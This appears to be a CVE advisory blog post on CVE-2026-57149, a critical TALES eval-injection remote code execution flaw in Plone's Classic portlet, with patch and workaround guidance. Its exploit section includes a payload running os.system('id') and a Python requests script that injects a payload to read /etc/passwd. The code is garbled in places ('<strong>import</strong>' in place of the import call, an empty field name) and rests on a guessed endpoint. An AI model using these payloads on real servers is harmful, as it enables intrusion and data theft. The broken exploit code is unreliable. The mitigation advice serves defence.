Listen to this Post
CVE-2026-57149 is a critical remote code execution (RCE) vulnerability in the Plone content management system, specifically affecting the `plone.app.portlets` package. The flaw resides in the Classic portlet (plone.app.portlets.portlets.classic), which is a standard portlet shipped with Plone. Starting in version 5.0.0 and prior to versions 5.0.8, 6.0.4, and 7.0.2, the Classic portlet uses user-supplied template and macro fields to construct a TALES (Template Attribute Language Expression Syntax) path expression. This expression is then evaluated by the TAL `path()` helper. Because the user-supplied value is interpreted as a full TALES expression rather than a simple path, an attacker can craft a value that escapes basic path traversal restrictions and is evaluated as arbitrary server-side code. This allows any authenticated user who can configure a Classic portlet—which, under the default role map, includes regular users on their personal dashboard—to execute code in the context of the Plone process. This constitutes a privilege escalation across the trust boundary between an authenticated web user and the server-side process. The vulnerability is classified as CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code, or ‘Eval Injection’) and has a CVSS 3.1 score of 9.9, making it critical. The issue was discovered by Giuseppe Caruso and reported to the Plone/Zope Security Team. Patches are available in `plone.app.portlets` versions 5.0.8, 6.0.4, and 7.0.2. Workarounds include restricting portlet management permissions, unregistering the Classic portlet, or customizing its template to disable it. This vulnerability underscores the risks of dynamic code evaluation and the importance of validating user input in template engines.
DailyCVE Form:
Platform: Plone
Version: 5.0.0-7.0.1
Vulnerability : TALES Injection
Severity: Critical
date: 2026-09-22
Prediction: 2026-09-22
What Undercode Say:
Check if plone.app.portlets is installed and its version pip show plone.app.portlets Search for the Classic portlet template in a Plone instance find /path/to/plone -name "classic.pt" Examine the portal_view_customizations tool (requires Zope admin access) Navigate to /portal_view_customizations/manage_main in the ZMI
Example of a vulnerable TALES expression that could be injected
The following payload would attempt to execute arbitrary Python code
(For educational purposes only - do not use on production systems)
payload = "python:<strong>import</strong>('os').system('id')"
How Exploit: (Educational Purposes!)
Educational exploit demonstration for CVE-2026-57149
This script simulates adding a Classic portlet with a malicious TALES payload
Requires authentication and portlet management permissions
import requests
from requests.auth import HTTPBasicAuth
target = "http://plone-site.com"
username = "attacker"
password = "password"
Malicious TALES payload that executes a system command
malicious_payload = "python:<strong>import</strong>('os').popen('cat /etc/passwd').read()"
Craft the request to add a Classic portlet
portlet_data = {
"template": malicious_payload,
"macro": "",
"": "Exploit Portlet"
}
Send the request (actual implementation depends on Plone's API)
response = requests.post(
f"{target}/++add++plone.app.portlets.portlets.classic",
auth=HTTPBasicAuth(username, password),
json=portlet_data
)
The server would evaluate the payload as code
print("Exploit sent. Check server response for command output.")
Protection: from this CVE
- Upgrade `plone.app.portlets` to version 5.0.8, 6.0.4, or 7.0.2 (or later) depending on your Plone version.
- Remove the `plone.app.portlets.ManageOwnPortlets` permission from untrusted roles and limit `Manage portlets` to trusted administrators (Manager and Site Administrator).
- Unregister the Classic portlet by editing `portlets.xml` in your own code so it cannot be added.
- Disable the Classic portlet template via ZMI: go to
portal_view_customizations, locateclassic.pt, click Customize, and replace its content with<div>The classic portlet was disabled.</div>.
Impact:
Successful exploitation of CVE-2026-57149 allows any authenticated user with portlet configuration privileges (including regular users on their personal dashboard under default settings) to execute arbitrary code in the context of the Plone process. This results in a full compromise of the Plone server, enabling attackers to read or modify sensitive data, install backdoors, pivot to other systems on the network, or cause a denial of service. The privilege escalation crosses the trust boundary between the web user and the server-side process, making it a critical severity issue.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
